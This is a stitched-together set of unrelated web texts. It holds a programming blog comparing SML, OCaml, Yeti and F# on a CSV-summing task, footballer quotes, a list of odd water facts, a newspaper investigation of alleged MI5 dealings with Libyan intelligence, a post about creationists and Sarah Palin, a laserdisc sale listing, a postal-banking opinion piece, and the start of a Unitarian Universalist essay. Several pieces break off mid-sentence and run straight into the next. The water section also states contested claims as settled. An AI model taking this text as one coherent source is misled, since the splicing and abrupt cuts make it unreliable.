More abstractly, there’s something delightful about writing a language with a small syntax that was fixed and standardised 18 years ago and that has more than one conforming implementation to choose from. C++ programmers (like me) have spent much of those 18 years worrying about which bits of which sprawling standards are available in which compiler. And let’s not talk about the lifespans of web development frameworks.
To build and run it I used the MLton native-code compiler:
$ time mlton -output sum-sml sum.sml real 0m2.295s user 0m2.160s sys 0m0.103s $ time./sum-sml big-data.csv 150.595368855,68.9467923856,[...] real 0m16.383s user 0m16.370s sys 0m0.027s $
The executable was a 336K native binary with dependencies on libm, libgmp, and libc. Although the compiler has a good reputation, this was (spoiler alert!) the slowest of these language examples both to build and to run. I also tried the PolyML compiler, with which it took less than a tenth of a second to compile but 26 seconds to run, and Moscow ML, which was also fast to compile but much slower to run.
OCaml
OCaml is a more recent language, from the same root but with a more freewheeling style. It seems to have more library support than SML and, almost certainly, more users. I started taking an interest in it recently because of its use in the Mirage OS unikernel project—but of these examples it’s the one in which I’m least confident in my ability to write idiomatic code.
(Edit: at least two commenters below have posted improved versions of this—thanks!)
open Str let read_line chan = try Some (input_line chan) with End_of_file -> None let rec fold_channel f acc chan = match read_line chan with | Some line -> fold_channel f (f line acc) chan | None -> acc let values_of_line line = let fields = Str.split ( Str.regexp "," ) line in List.map float_of_string fields let add_to totals values = match totals with | [] -> values | _ -> if List.length totals = List.length values then List.map2 (+.) totals values else failwith "Inconsistent-length rows" let sum_channel chan = let folder line tot = add_to tot (values_of_line line) in fold_channel folder [] chan let sum_and_print_file filename = let chan = open_in filename in ( let result = sum_channel chan in print_string (( String.concat "," ( List.map string_of_float result)) ^ "
" ); close_in chan) let main () = match Sys.argv with | [| _; filename |] -> sum_and_print_file filename | _ -> failwith "Exactly 1 filename must be given" let () = main ()
I’m in two minds about this code. I don’t much like the way it looks and reads. Syntax-wise there are an awful lot of let s; I prefer the way SML uses fun for top-level function declarations and saves let for scoped bindings. OCaml has a more extensive but scruffier library than SML and although there’s lots of documentation, I didn’t find it all that simple to navigate—as a result I’m not sure I’m using the most suitable tools here. There is probably a shorter simpler way. And my first attempt didn’t work for long files: caught out by the fact that input_line throws an exception at end of file (ugh), I broke tail-recursion optimisation by adding an exception handler.
On the other hand, writing this after the SML and Yeti versions, I found it very easy to write syntax that worked, even when I wasn’t quite clear in my head what the syntax was supposed to look like. (At one point I started to worry that the compiler wasn’t working, because it took no time to run and printed no errors.)
I didn’t spot at first that OCaml ships with separate bytecode and optimising native-code compilers, so my first tests seemed a bit slow. In fact it was very fast indeed:
$ time ocamlopt -o sum-ocaml str.cmxa sum.ml real 0m0.073s user 0m0.063s sys 0m0.003s $ time./sum-ocaml big-data.csv 150.595368855,68.9467923856,[...] real 0m7.761s user 0m7.740s sys 0m0.027s $
The OCaml native binary was 339K and depended only on libm, libdl, and libc.
Yeti
Yeti is an ML-derived language for the Java virtual machine. I’ve written about it a couple of times before.
valuesOfLine line = map number (strSplit "," line); addTo totals row = if empty? totals then array row elif length totals == length row then array (map2 (+) totals row) else failWith "Inconsistent-length rows" fi; rowsOfFile filename = readFile filename "UTF-8" do handle: map valuesOfLine (handle.lines () ) done ; sumFile filename = fold addTo ( array [] ) (rowsOfFile filename); sumAndPrintFile filename = println (strJoin "," (map string (sumFile filename))); case ( list _argv) of [filename]: sumAndPrintFile filename; _: failWith "Exactly 1 filename must be given" ; esac
I love Yeti’s dismissive approach to function and binding declaration syntax—no let or fun keywords at all. Psychologically, this is great when you’re staring at an empty REPL prompt trying to decide where to start: no syntax to forget, the first thing you need to type is whatever it is that you want your function to produce.
The disadvantage of losing let and fun is that Yeti needs semicolons to separate bindings. It also makes for a visually rather irregular source file.
As OCaml is like a pragmatic SML, so Yeti seems like a pragmatic OCaml. It provides some useful tools for a task like this one. Although the language is eagerly evaluated, lazy lists have language support and are interchangeable with standard lists, so the standard library can expose the lines of a text file as a lazy list making a fold over it very straightforward. The default map and map2 functions produce lazy lists.
Unfortunately, this nice feature then bit me on the bottom in my first draft, as the use of a lazy map2 in line 6 blew the stack with large inputs (why? not completely sure yet). The standard library has an eager map as well as a lazy one but lacks an eager map2, so I fixed this by converting the number row to an array (arguably the more natural type for it).
The Yeti compiler runs very quickly and compiles to Java.class files. With a small program like this, I would usually just invoke it and have the compiler build and run it in one go:
$ time yc./sum.yeti big-data.csv 150.59536885458684,68.9467923856445,[...] real 0m14.440s user 0m26.867s sys 0m0.423s $
Those timings are interesting, because this is the only example to use more than one processor—the JVM uses a second thread for garbage collection. So it took more time than the MLton binary, but finished quicker…
F♯
F♯ is an ML-style language developed at Microsoft and subsequently open-sourced, with a substantial level of integration with the.NET platform and libraries.
(Edit: as with the OCaml example, you’ll find suggestions for alternative ways to write this in the comments below.)
let addTo totals row = match totals with | [||] -> row | _ -> if Array.length totals = Array.length row then Array.map2 (+) totals row else failwith "Inconsistent-length rows" let sumOfFields fields = let rows = Seq.map ( Array.map float ) fields in Seq.fold addTo [||] rows let fieldsOfFile filename = seq { use s = System. IO. File. OpenText (filename) while not s. EndOfStream do yield s. ReadLine (). Split ',' } let sumAndPrintFile filename = let result = fieldsOfFile filename |> sumOfFields in printfn "%s" ( String.concat "," ( Array.map string result)) [< EntryPoint >] let main argv = match argv with | [|filename|] -> (sumAndPrintFile filename; 0 ) | _ -> failwith "Exactly 1 filename must be given"
F♯ also has language support for lazy lists, but with different syntax (they’re called sequences) and providing a Python-style yield keyword to generate them via continuations. The sequence generator here came from one of the example |
confidence lost after the shock Champions League exit to Paris St Germain last week.
I'm sure we'll kick on. Man City dropped points and we picked up another point. Our goal difference is good. It's by far the end of the world, but we're looking for the next result. Gary Cahill
The 29-year-old: "We're desperate... not desperate, it's the wrong word - we're looking for the next convincing win, the next win, to get us back up and running.
"We should be going out playing with freedom and not feeling the pressure. We should be going out and enjoying it. I think that comes with winning games. The next win I'm sure is just around the corner for us.
"We're out the competitions, apart from the Premier League. We can prepare well. A week, which is rare for us, to prepare for the next game, which is important.
"Playing for this club the expectations are so high. We didn't lose the (PSG) game, we drew. All of a sudden everyone's saying 'what's happening here?'
"As players we have to focus on the job in hand and that's the Premier League. I'm sure we'll kick on. Man City dropped points and we picked up another point. Our goal difference is good. It's by far the end of the world, but we're looking for the next result.
"It's a massive opportunity for us this season, everybody knows that. Ten games left to go now and we're in a fantastic position."Water, good ol' H 2 O, seems like a pretty simple substance to you and me. But in reality, water - the foundation of life and most common of liquid - is really weird and scientists actually don't completely understand how water works.
Here are 5 really weird things about water:
1. Hot Water Freezes Faster Than Cold Water
Take two pails of water; fill one with hot water and the other one with cold water, and put them in the freezer. The hot one would be frozen before the cold one. But wait, you say, that's counterintuitive: wouldn't the hot water have to cool down to the temperature of the cold water before proceeding to freezing temperature, whereas the cold one has "less to go" before freezing?
In 1963, a Tanzanian high-school student named Erasto B. Mpemba was freezing hot ice cream mix in a cooking class when he noticed that a hot mix actually froze faster than a cold mix. When he asked his teacher about this phenomenon, his teacher ridiculed him by saying "All I can say is that is Mpemba's physics and not universal physics."
Thankfully, Mpemba didn't back down - he convinced a physics professor to conduct an experiment which eventually confirmed his observations: in certain conditions, hot water indeed freezes before cold water*.
Actually, Mpemba was in good company. The phenomenon of hot water freezing first, now called the "Mpemba effect" was noted by none other than Aristotle, Francis Bacon and René Descartes.
But how do scientists explain this strange phenomenon? It turns out that no one really knows but there are several possible explanations, including differences in supercooling (see below), evaporation, frost formation, convection, and effects of dissolved gasses between the hot and cold water.
*In reality - of course - it's much more complex than that: hot water freezes first (it forms ice at a higher temperature than cold water), whereas cold water freezes faster (it takes less time to reach the supercooled state from which it forms ice) - see discussion on our previous blog post about this topic.
2. Supercooling and "Instant" Ice
Everybody knows that when you cool water to 0 °C (32 °F) it forms ice... except that in some cases it doesn't! You can actually chill very pure water past its freezing point (at standard pressure, no cheating!) without it ever becoming solid.
Scientist know a lot about supercooling: it turns out that ice crystals need nucleation points to start forming. These nucleation points could be anything from gas bubbles to impurities to the rough surface of the container. Without these things, water would continue to be a "supercooled" liquid well below its freezing point.
When nucleation is triggered, then a supercooled water would "instantly" turn into ice, as this very cool video clip by Phil Medina of MrSciGuy shows:
Note: Similarly, superheated water remains liquid even when heated past its boiling point.
3. Glassy Water
Quick: how many phases of water are there? If you answer three (liquid, gas, and solid) you'd be wrong. There are at least 5 different phases of liquid water and 14 different phases (that scientists have found so far) of ice.
Remember the supercooling we talked about before? Well, it turns out that no matter what you do, at -38 °C even the purest supercooled water spontaneously turns into ice (with a little audible "bang" no less). But what happens if you continue to lower the temperature? Well, at -120 °C something strange starts to happen: the water becomes ultraviscous, or thick like molasses. And below -135 °C, it becomes "glassy water," a solid with no crystal structure. (Source)
4. Quantum Properties of Water
At a molecular level, water is even weirder. In 1995, a neutron scattering experiment got a weird result: physicists found that when neutrons were aimed at water molecules, they "saw" 25% fewer hydrogen protons than expected.
Long story short, at the level of attoseconds (10-18 seconds) there is a weird quantum effect going on and the chemical formula for water isn't H 2 O. It's actually H 1.5 O! (Source)
5. Does Water Have Memory?
In the alternative medicine of homeopathy, a dilute solution of a compound can is purported to have healing effects, even if the dilution factor is so large that statistically there isn't a single molecule of anything in it except for water. Homeopathy proponents explain this paradox with a concept called "water memory" where water molecules "remember" what particles were once dissolved in it.
This made no sense to Madeleine Ennis, a pharmacologist and professor at Queen's University in Belfast, Northern Ireland. Ennis, who also happened to be a vocal critic of homeopathy, devised an experiment to disprove "water memory" once and for all - but discovered that her result was the exact opposite!
In her most recent paper, Ennis describes how her team looked at the effects of ultra-dilute solutions of histamine on human white blood cells involved in inflammation. These "basophils" release histamine when the cells are under attack. Once released, the histamine stops them releasing any more. The study, replicated in four different labs, found that homeopathic solutions - so dilute that they probably didn’t contain a single histamine molecule - worked just like histamine. Ennis might not be happy with the homeopaths’ claims, but she admits that an effect cannot be ruled out. So how could it happen? Homeopaths prepare their remedies by dissolving things like charcoal, deadly nightshade or spider venom in ethanol, and then diluting this "mother tincture" in water again and again. No matter what the level of dilution, homeopaths claim, the original remedy leaves some kind of imprint on the water molecules. Thus, however dilute the solution becomes, it is still imbued with the properties of the remedy. You can understand why Ennis remains skeptical. And it remains true that no homeopathic remedy has ever been shown to work in a large randomised placebo-controlled clinical trial. But the Belfast study (Inflammation Research, vol 53, p 181) suggests that something is going on. "We are," Ennis says in her paper, "unable to explain our findings and are reporting them to encourage others to investigate this phenomenon." If the results turn out to be real, she says, the implications are profound: we may have to rewrite physics and chemistry. (Source)
So far, other scientists failed to reproduce Ennis' experimental findings (throughout, Ennis herself was skeptical of the result's interpretation that water has a "memory" but maintained that the phenomenon she saw was real).
See also Jacques Benveniste's Nature controversy | Louise Rey's thermoluminescence study
More recently, a team of scientists at the University of Toronto, Canada, and Max Born Institute in Germany, studying water dynamics using fancy multi-dimensional nonlinear infrared spectroscopy did find that water have a memory of sorts - in form of hydrogen bond network amongst water molecules. Problem for homeopathy was, this effect lasted only 50 femtoseconds (5 x 10-14 seconds)!
Bonus: Ice Spikes
photo: SnowCrystals
Ice spikes are, well, spikes that grow out of ice cube trays. They look like stalagmites found in caves, and you can make 'em yourself using distilled water. Kenneth G. Libbrecht of SnowCrystals explains:
How do Ice Spikes Form? Ice spikes grow as the water in an ice cube tray turns to ice. The water first freezes on the top surface, around the edges of what will become the ice cube. The ice slowly freezes in from the edges, until just a small hole is left unfrozen in the surface. At the same time, while the surface is freezing, more ice starts to form around the sides of the cube. Since ice expands as it freezes, the ice freezing below the surface starts to push water up through the hole in the surface ice (see diagram). If the conditions are just right, then water will be forced out of the hole in the ice and it will freeze into an ice spike, a bit like lava pouring out of a hole in the ground to makes a volcano. But water does not flow down the sides of a thin spike, so in that way it is different from a volcano. Rather, the water freezes around the rim of the tube, and thus adds to its length. The spike can continue growing taller until all the water freezes, cutting off the supply, or until the tube freezes shut. The tallest spike we've seen growing in an ordinary ice cube tray was 56mm (2.2in) long. (Source)
Bonus 2: Make Instant Snow with Boiling Water
What do you get when you throw boiling water to the air in subzero weather? Instant snow. Interestingly, it only works with boiling hot water:
[YouTube clip]
These aren't the only things weird about water. We didn't talk about how water density changes with temperature (ice, for instance, is less dense than water so it floats - a key property of water that made life possible in the oceans and lakes). Nor did we talk about the weirdly strong surface tension of water, ordered clustering of liquid water, and so on. If you are interested, check out the Anomalous Properties of Water article by Martin ChaplinSecret documents reveal MI5 agents betrayed Libyan dissidents to Gaddafi spies in London rendezvous just 700 yards from Harrods
British spies supplied the Libyan dictator's secret agents with intelligence, mobile phones and an upmarket London safe house
Experts say the explosive documents suggest breaches of the Geneva Conventions, the Human Rights Act and criminal law
MI5 betrayed enemies of Colonel Gaddafi given refuge in Britain in a covert joint operation with Libyan spies working on UK soil, documents obtained by The Mail on Sunday reveal.
Gaddafi’s secret agents were supplied by MI5 with intelligence, secure mobile phones and a luxurious safe house in the heart of London’s Knightsbridge.
The extraordinary revelations emerge from hundreds of secret documents unearthed from Libyan spymasters’ archives after the Gaddafi regime was toppled – with British military help – last year.
Shockingly, they reveal tactics of intimidation and coercion – and expose the British agents’ specific fears that their actions might be reported by the press in the UK.
Under pressure: Tony Blair with Jack Straw in 2005, and some of the documents seen by the MoS, below
The documents disclose that MI5 betrayed the confidentiality that all refugees are promised when they apply for asylum, and told the Libyans that the targets could be threatened with deportation to Libya if they refused to co-operate.
The revelations will cause a political storm. David Davis, the senior Tory MP, said they made clear that the 2004 operation to arrange the ‘rendition’ of former Gaddafi opponent Abdel Hakim Belhadj from Bangkok to Tripoli was ‘merely the start of a continuing intelligence saga’.
He added: ‘The documents seem to say that British agencies exposed people who had been given refuge here to the very people they had fled. This is an appalling betrayal of Britain’s obligations and traditions, apparently for reasons of realpolitik, not national security. What the documents reveal is coercion at best, and at worst blackmail.’
He said it was ‘essential’ that the Scotland Yard investigation into the case of Mr Belhadj – who is suing former Foreign Secretary Jack Straw for allegedly authorising his kidnap and rendition – is extended to include the joint MI5-Libya operations.
Experts in refugee law say the documents imply flagrant breaches of the Geneva Conventions on refugees, the Human Rights Act and the ordinary criminal law.
Lord Carlile, QC, the former reviewer of UK anti-terror laws, said the allegations were ‘serious’ and called for an inquiry.
Revelations: The documents were unearthed from Libyan spymasters' archives after Colonel Gaddafi was toppled with the help of British forces
A senior former intelligence officer said it was ‘difficult to imagine’ that the joint operations were not sanctioned by Ministers and it was likely that the Home and Foreign Secretaries were involved, as well as the Prime Minister – at the time, Tony Blair.
But the then Foreign Secretary, Margaret Beckett, said: ‘I don’t think I knew anything about this. I certainly have no recollection of it.’ She thought that as an ‘operational matter’ it would not have needed ministerial authorisation.
Lord Reid, who was Home Secretary, failed to return phone calls asking for comment. A spokesman for Mr Blair said he had ‘no recollection’ of the operations.
The documents reveal meetings between the British and Libyan services in both Tripoli and London, and visits by the Libyan agents to make ‘approaches’ to their targets in London and Manchester in August and October 2006.
They make clear that the Libyans had at least some success, and that some of the refugees they approached did agree to co-operate.
MI5, the documents say, wanted then to turn the refugees into sources of their own, in the belief that the body to which they belonged – the Libyan Islamic Fighting Group – was linked to Al Qaeda, and a threat to UK national security.
But, according to the minutes of one meeting, MI5 also knew that its decision to do business with a regime that, despite having abandoned its WMD programme, was still torturing and murdering its opponents, was controversial and had to be kept secret.
Last night a security source defended co-operation with Libya, saying: ‘Many of Jihadist fighters picked up in Afghanistan after 2001 were Libyans. They posed a threat and had to be closely monitored.’
Just 700 yeards from Harrods, a covert rendezvous between Libyan spies and MI5 agent Caroline sparks demand for criminal inquiry
Special Investigation by Robert Verkaik, Barbara Jones and David Rose
As MI5 had promised, it had left nothing to chance. Waiting for the two Libyan intelligence officers as they got off the plane at Heathrow was Caroline, the charming Security Service operative they knew from her recent visit to Tripoli.
No need for the agents to wait in line at immigration: Caroline – whose full name, together with that of other UK officers, The Mail on Sunday has chosen not to publish – met them ‘airside’, and they bypassed the usual formalities.
She was carrying two, prepaid, secure mobile phones, one for each of the Libyans, Colonel Najmuddin Ajeli and Ahmed Abdanabi.
Upmarket: MI5 accommodated the Libyan intelligence officers in a luxury serviced flat near Harrods in Knightsbridge, London
Naturally, Caroline had organised transport: an MI5 car in which she escorted them to MI5’s safe house – a luxury service flat at one of the best addresses in London, in the heart of Knightsbridge.
This was almost certainly in Egerton Place, a brief stroll from Harrods, and less than a mile from St James’s Square, where WPC Yvonne Fletcher was shot by a Libyan diplomat in 1984.
Next day, August 10, 2006, the joint operation between MI5 and the Libyan dictator Muammar Gaddafi’s External Security Organisation would begin. Meanwhile, Ajeli and Abdanabi were free to enjoy a night on the town.
Details of the two Libyans’ visit are contained in a new and extraordinary cache of documents, classified UK/Libya Secret, unearthed in Gaddafi’s archives after his regime was toppled – thanks in large part to RAF airstrikes – last year.
The documents reveal that collusion between the dictator’s security agency, a byword for torture, brutality and murder throughout the Middle East, and its British counterparts was far greater than hitherto realised.
The case of Abdel Hakim Belhadj, who is suing the former Foreign Secretary Jack Straw for allegedly authorising his illegal ‘rendition’ from Thailand to prolonged torture in Libya in 2004, has already become notorious.
Serious as the Belhadj case is, however, in that instance the British supplied intelligence only about his whereabouts: the actual rendition was done from a distant foreign country by the American CIA.
But the new documents disclose that for at least two years after that, MI5 and MI6 developed a close and active working relationship with the Libyans.
It extended to flagrant breaches of the law that is supposed to protect political refugees, and ‘joint operations’ in which such people – whose families and friends were vulnerable to savage reprisals in Libya – were cold-bloodedly ‘targeted’ on British soil, where they thought they were safe, by the Libyan service, with direct assistance from MI5.
This breaks every convention of acceptable behaviour between governments.
‘When you ask for asylum in Britain, the form you fill in promises that the mere fact of applying will be treated by the British Government as strictly confidential, since if it became known, your friends and family would be exposed to persecution,’ a top QC and refugee law expert said yesterday.
‘But these documents suggest that not only was this rule ignored, but refugees were threatened with deportation if they refused to co-operate with the very regime they had fled – a core breach of both the 1951 Geneva Convention, and the Human Rights Act. It also appears they were coerced. Any Britons involved could also have committed the offence of misconduct in a public office.’
The documents contain a detailed narrative of the 2006 operation mounted by Caroline, Ajeli, Abdanabi and their colleagues. It began with a meeting in Tripoli on May 17, attended by X, an MI6 officer stationed in Libya (whom The Mail on Sunday has agreed not to name), Caroline from MI5, and the two Libyans who came to London in August, along with others whose names are not recorded in the meeting’s minutes – which were taken in Arabic by a member of the Libyan service.
‘We are here with you to share some co-operation and suggestions to work with your secret department,’ Caroline explained. Right from the outset, she abandoned any pretence that asylum seekers should be protected.
According to the minutes, she said: ‘Target 2 could become a very good source and we can pressure him to work for us because he’s not a British citizen.’ Another individual is identified as a possible target because he is ‘very emotional’ and would be deeply affected if any of his friends were to be arrested. The document records: ‘He could be a good source because he works in a library inside a mosque and he has close links to Libyan Islamic Fighting Group [then a banned group which operated as a political party opposing Gaddafi, and from whose ranks many of last year’s revolutionary fighters were drawn].’
After Caroline left Tripoli, plans were made for the August visit by the two Libyans. MI6’s officer X sent the details of its logistics in a memo to General Sadegh Krema, the head of the Libyan service’s external relations section, on August 8, the day before they left. As well as the safe house and the phones, MI5 would be providing lunch, and a series of meetings to formulate ‘operational plans’ for approaching their main target.
The Mail on Sunday is aware of the identity of this person, who was a member of the Libyan Islamic Fighting Group (LIFG) based in Didsbury, in Manchester, and an habitué of the Didsbury mosque, one of the main centres of anti-Gaddafi activity in Britain. We also have the minutes of the meeting held between the Libyans, Caroline, her colleague Tony and other MI5 staff at MI5 headquarters on August 11.
MI5 justified its participation in these operations by asserting that the LIFG was a jihadist group with links to Al Qaeda, and hence a threat to UK security – although it is a matter of record that the only Libyan ever arrested or charged with any terrorist offence committed in Britain was not from the opposition at all: the sole example is Abdelbaset Al Megrahi, the Lockerbie bomber freed on compassionate grounds nearly three years ago when he was said to have three months to live. In 2004, the Special Immigration Appeals Commission ruled that the LIFG was only interested in opposing Gaddafi – not mounting terrorist attacks in Britain.
Be that as it may, MI5 knew that by working so closely with Gaddafi’s agents it was taking a risk. According to the minutes, one of the MI5 staff said: ‘The target person has the right to make a complaint or seek police protection. British intelligence must be careful how they approach a target because this individual could call on human rights or the press and cause a security scandal that exposes the co-operation between British and Libyan secret services.’
The minutes suggest that MI5 preferred to use the carrot, rather than the stick, in inducing the target to start giving up information about his associates: ‘We might allow him to visit his family in Libya, then return to Britain. We could offer to help clear his name with Libyan authorities. We could offer to help with citizenship or residency. This could open the door to his co-operation. We could enter his office frequently, do business with him and open the door to further conversations.’
But if that didn’t work, then they could resort to coercion: ‘Libyan operatives could ask him [the target asylum seeker] about problems at home in Libya or in Britain.
‘They offer to help in return for giving information we want about other targets. If he refuses, British police will arrest him and accuse him of associating with Libyan secret agents. He will be told that as a non-resident of Britain he could be deported if found guilty.’
A memo dated September 27 from officer X to General Krema makes clear that the August operation had gone well, and suggests further activity against other targets in Didsbury. The Libyan agent Najmuddin Ajeli had ‘established contact’ with members of the Didsbury mosque, and the next step would be ‘joint casework between our services’.
On October 14, Ajeli and Abdanabi flew back to Britain. Another unnamed MI5 officer, says a further memo, was due to meet them, though if there were any problems, they could call Caroline.
This time, the plan was to set up further meetings with the target in Didsbury, with the hope of introducing him to MI5. The Libyans were not to stay at the safe house, however, but at the five-star City Inn Hotel, which conveniently is next to MI5’s headquarters on the Thames.
There the documentary record ends. But former Libyan dissidents who are now supporters of the revolution say they know of several individuals who were approached by Libyan intelligence and MI5 while refugees in Britain, and threatened in the ways the documents suggest.
Gareth Peirce, the solicitor who acted for several Libyan refugees, said yesterday: ‘This has been a common methodology. If you think someone is vulnerable, facing deportation, you exploit that. It is a common currency I have come across again and again.’Answers in Genesis — the group that runs the Creation Museum — isn’t on board with the other conservative Christian groups in supporting Sarah Palin as John McCain‘s Vice Presidential nominee.
Why not?
To quote Happy Jihad, AiG is “undecided about whether or not Vice Presidential candidate Sarah Palin is scientifically illiterate enough to run America.”
In other words, while she may not accept evolution, they don’t know if she’s a Young Earth Creationist.
And that’s just unacceptable to them.
In 2006, then-candidate Palin indicated in a TV debate that creation should be taught alongside evolution in the state’s public schools, declaring that schools should “teach both. You know, don’t be afraid of information. Healthy debate is so important, and it’s so valuable in our schools. I am a proponent of teaching both.”3 Now, in stating this, she may have been advocating the teaching of scientific creationism, as opposed to biblical creationism4 (the latter having been deemed unconstitutional by the U.S. Supreme Court in 19875), but we don’t really know.
I’m not sure whether to laugh or cry.
(via Happy Jihad’s House of Pancakes)Vintage Science Fiction Video: “Star Wars – The Definitive Collection”
This is a nearly mint copy of the highly desired “Definitive Collection” Laser Disc (CAV) set of the original Star Wars trilogy (“Star Wars – A New Hope”, “Empire Strikes Back”, and “Return of the Jedi”).
PURCHASE THIS HIGHLY COLLECTIBLE PIECE OF SCIENCE FICTION HISTORY ON ETSY TODAY!
For many, many years, this was the only way to see high quality renditions of the original Star Wars films as we watched them in the theatre! Not the later so-called “Special Edition” versions with all their added digital nonsense.
This collection includes 9 Laser Discs, a softcover illustrated program guide and a hard cover full color book: “George Lucas: The Creative Impulse, Lucafilm’s First Twenty Years”, copyright 1992.
All of the discs are in their original plastic sleeves and protective glossy card stock jackets, All of the jackets are like new.
There are no marks or writing on any of the pieces of this collection.
The heavy outer case is like new, with almost no “shelf wear” on the bottom. There are not any dents.
SUPER GREAT ADDITION TO YOUR STAR WARS LIBRARY COLLECTION OR GIFT FOR THAT STAR WARS GEEK YOU LOVE!Ever since the inspector general of the U.S. Postal Service authored a white paper endorsing the concept of postal banking, more advocates and policymakers have become intrigued. Postal banking is actually an old idea: Dozens of countries offer simple financial services through their posts, and here in America, Postal Savings Accounts served millions of customers from 1911-1967 (the post office still sells money orders today). But it could also fix a number of our current problems simultaneously, even ones you haven’t thought about. Here are 10 different applications of postal banking, in order from most to least obvious:
1) Financial inclusion for low-income Americans. The most recent data from the Federal Deposit Insurance Corporation shows that about 10 million households are “unbanked,” with no access to traditional financial services. Another 24 million are “underbanked,” meaning they have a bank account but still use alternative services like check cashing stores, pawnbrokers or payday lenders. The unbanked and underbanked represent over one in four households in the U.S. In many cases they literally can’t find a bank in their communities; 93 percent of all bank branch closings since 2008 have come in ZIP codes where the average household income is below the median level. By offering basic financial services – an ATM card, an interest-bearing savings account, even potentially small loans – the Postal Service can give millions stable access to banking, a critical component of our modern society. Try renting a car, obtaining health insurance on healthcare.gov or even getting a job without a bank account.
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2) Reducing inequality and boosting the economy. Unbanked and underbanked Americans pay a hefty price for their lack of access. According to the Postal Service IG report, the average household spends $2,412 a year on interest and fees for alternative financial services. This is about one-tenth of their gross income, going right into the corporate accounts of unscrupulous and predatory operations. If the post office can deliver these services at a dramatic discount, they could save families thousands of dollars, and drive the conglomerates that prey on these communities out of business. Not only does this fit with the regulatory imperative of protecting Americans from financial abuse, it gives them breathing room to pay for necessities, putting the money back into the economy. People who filed for bankruptcy in 2012 were just $26 a month short of meeting their expenses. Discounted financial services could fill that gap, lifting many Americans out of desperation and stretching their income.
3) Stabilizing the Postal Service. We should be careful with trying to balance the books of the post office on the backs of the working poor. But the good news is that the Postal Service’s finances are not as dire as advertised – most of the recent shortfall comes from them having to pre-fund retirement benefits 75 years out, something no public agency or private business has to do – and the modest income earned from basic banking services can merely help keep them flush. It’s a far better alternative than mass layoffs and branch closures at the nation’s second-largest civilian employer, which allows hundreds of thousands of families a union job and a ladder into the middle class. Post offices already have the critical physical infrastructure to serve these communities – 58 percent of their branches are in ZIP codes with one bank branch or fewer. Offering banking will ensure the Postal Service keeps those branches and survives long into the future.
4) A better way to deliver federal benefits. Did you know that Social Security benefits no longer get distributed via check? State and federal agencies, to save money and promote convenience, have started to deliver benefits through direct deposit, or for those without a bank account, through electronic benefits transfers (EBT) onto debit cards. Predictably, big banks pick up this business and charge high fees for beneficiaries to access food stamps or unemployment insurance. With postal banking, federal benefits could get loaded onto Postal ATM Cards at no additional cost, saving the government and beneficiaries money. Moreover, the unbanked would have an easy way to access their benefits.
5) A savings vehicle for the poor. President Obama tried to address the problem of inadequate savings for retirement with myRA, a savings system deducted from paychecks that earns a modest rate of return without risk of loss. I’ve written about how myRA doesn’t really do much to solve the retirement crisis. More important, myRA accounts over $15,000 must get rolled over into a Roth IRA, subjecting that money to the vicissitudes of the market and the Wall Street financial advisers who charge exorbitant fees for the privilege. The Postal Service could offer the exact same savings account as myRA, without having to roll it over. This at least promotes savings that could be used in an emergency or as a modest aid in retirement.
6) Bringing immigrants into society. Historical data shows that the old Postal Savings System was most popular with recent immigrants, who had experience doing their banking at postal branches in their countries. Currently, immigrants take advantage of the post office for money orders and “Dinero Seguro,” an electronic money transfer service to nine Latin American countries. Adding postal banking could really cater to these communities by hooking up with other global postal systems. The International Financial System of the Universal Postal Union includes over 60 countries, making it simple and cheap to transfer funds electronically from one country to another. International money transfers from the U.S. rose to $51 billion in 2012, and the Postal Service is well-positioned to facilitate this. Immigrants using a government agency could bring them closer into U.S. society and ease the hardships of our immigration system.
7) Preventing identity fraud. The recent data breaches at Target have revealed a shocking truth – America has the worst payment security system in the world, and as a result, over half of the world’s identity theft happens here. Unlike most developed countries, U.S. credit and debit cards have a magnetic stripe, instead of the more secure “chip-and-PIN” system (where cards have a microchip in them, and customers have to use a PIN number at the point of sale). If you read the excuses from major banks about why they haven’t upgraded this outdated system, you’ll see a lot of finger-pointing at retailers who don’t have the proper card readers. In reality, banks just don’t want to pay for the upgrade of issuing new cards and the customer service of dealing with forgotten PIN numbers. The Postal Service, with no old debit cards to retire, could immediately use chip-and-PIN systems and force the upgrade the country needs.
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8) Modernizing the payment system. Hey, forget credit and debit cards; that’s old technology. Countries like Kenya have successfully experimented with mobile payments, making transferring money as simple as sending a text message. Benefiting from starting from scratch, the Postal Service could integrate accounts with mobile seamlessly, enabling convenient payments through smartphones for everything from utility bills to the corner store. Our current payment system is slow; it takes days for a check or debit card transaction to clear when with mobile payments it could take minutes, and banks refuse to upgrade the system (notice a pattern?). The Postal Service could serve as the backbone for a new system that would improve payments for individuals and small businesses.
9) Safeguarding personal data. Like every other business in America, banks sell your personal information to advertisers and use your data as a profit center. This is one way that predatory lenders target low-income communities, finding their leads through personal financial data. With postal banking, your information is likely to be protected by the Privacy Act of 1974, which applies to all government agencies. This would be perhaps the first legitimate halt to the mass big data grab that infects practically everything we do these days, and it would help prevent deceptive credit practices by denying crooked businesses the information they need to target people.
10) Ending recessions. Truly. Postal banking would integrate well with the concept of giving everyone with a Social Security number an ATM account with the Federal Reserve, instead of intermediating it through a commercial bank. The physical ATMs could be at any of the 35,000 postal branches nationwide (or through their mobile-enabled postal account). Rajiv Sehti, an economics professor at Barnard College and Columbia University, explains that this would allow the Fed to directly target economic downturns. When the economy lags, the Fed could place a few hundred dollars in everyone’s account, with the proviso that it gets spent immediately. That would offer an immediate and timely Keynesian stimulus, paid for by normal Fed operations (the Fed made $79.5 billion last year alone). Conducting monetary policy this way would do a lot more to help Main Street than the current quantitative easing, which raises asset prices and helps mostly the wealthy.
This menu of possibilities for postal banking makes it extremely attractive, along with the fact that, according to the inspector general report, the Postal Service may explore it under its existing authority, rather than having to hope for an act of Congress. The Postal Service Board of Governors can begin this process tomorrow by starting some pilot programs. New Board of Governors nominee Vicki Kennedy (Ted’s widow) can follow in her family’s footsteps by improving the lives of millions of ordinary Americans through postal banking, the Swiss army knife of public policy.Stop the elevator; I'm not done
Stop the elevator; I'm not done
UU World Magazine, published by the Unitarian Universalist Association
UU Theology, Personal Inspiration
The teens in my Unitarian Universalist church’s Coming of Age program are working on their elevator speeches this month. “If you were on an elevator and someone asked you what Unitarian Universalism is, what could you tell them before one or the other of you had to get off?”
In these kinds of teaching situations, I always fantasize that I’ll be like the golf pro who illustrates all his good advice by picking up a club and sending a drive soaring down the fairway. “See?” he says. And the students (their heads tilted upward to follow the tiny ball as it vanishes into the distance) reply: “Ooooohhhh.”
